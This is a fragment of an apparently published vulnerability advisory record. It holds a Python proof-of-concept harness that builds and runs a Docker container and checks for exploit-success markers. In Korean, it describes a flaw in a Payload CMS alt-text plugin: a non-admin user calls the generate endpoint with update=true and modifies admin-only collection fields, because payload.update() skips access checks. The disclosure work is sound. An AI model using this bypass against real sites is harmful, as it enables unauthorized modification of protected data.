verdict=\"FAIL\",\n            reason=\"Docker 빌드 실패 — npm install 또는 파일 복사 오류\",\n            evidence=\"\",\n            build_out=combined_build,\n            failure_detail=f\"docker build exit code {rc}:\\n{combined_build[-2000:]}\",\n        )\n        return 1\n\n    print(\"      Build succeeded.\")\n    print()\n\n    # -----------------------------------------------------------------------\n    # Step 2: Run the PoC container\n    # -----------------------------------------------------------------------\n    print(f\"[2/2] Running PoC container\")\n    print(f\"      Command : {RUN_COMMAND}\")\n    print()\n\n    rc, run_stdout, run_stderr = run(\n        [\"docker\", \"run\", \"--rm\", IMAGE_TAG],\n        cwd=BUILD_CONTEXT,\n    )\n\n    combined_run = (run_stdout + run_stderr).strip()\n    print(combined_run)\n    print()\n\n    # -----------------------------------------------------------------------\n    # Step 3: Evaluate the output\n    # -----------------------------------------------------------------------\n    success_marker = \"VULNERABILITY CONFIRMED\"\n    pwned_marker = \"PWNED_BY_EXPLOIT\"\n\n    if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:\n        # Extract the key evidence block\n        lines = combined_run.splitlines()\n        evidence_lines = []\n        in_block = False\n        for line in lines:\n            if success_marker in line or pwned_marker in line or \"EXPLOITATION\" in line:\n                in_block = True\n            if in_block:\n                evidence_lines.append(line)\n            if in_block and line.startswith(\"→\"):\n                break\n        evidence = \"\\n\".join(evidence_lines) if evidence_lines else combined_run[-1500:]\n\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 \"\n                \"admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. \"\n                \"generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 \"\n                \"Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 \"\n                \"컬렉션 레벨 access 함수가 우회됨. \"\n                \"직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공.\"\n            ),\n            evidence=evidence,\n            run_out=combined_run,\n        )\n        print(\"PASS — vulnerability dynamically confirmed.\")\n        return 0\n\n    else:\n        print(\"FAIL — success marker not found or container exited non-zero.\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\" if rc != 0 else \"INCOMPLETE\",\n            reason=(\n                f\"컨테이너 종료 코드 {rc}. \"\n                \"성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. \"\n                \"로그를 확인하여 원인 파악 필요.\"\n            ),\n            evidence=combined_run[-2000:],\n            run_out=combined_run,\n            failure_detail=f\"Container exit code: {rc}\\nstdout+stderr:\\n{combined_run}\",\n        )\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","status":"published","published":"2026-09-10T22:39:14Z","modified":"2026-09-16T19:00:05.203549577Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","level":"high"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:46:37.528068Z"}]}}
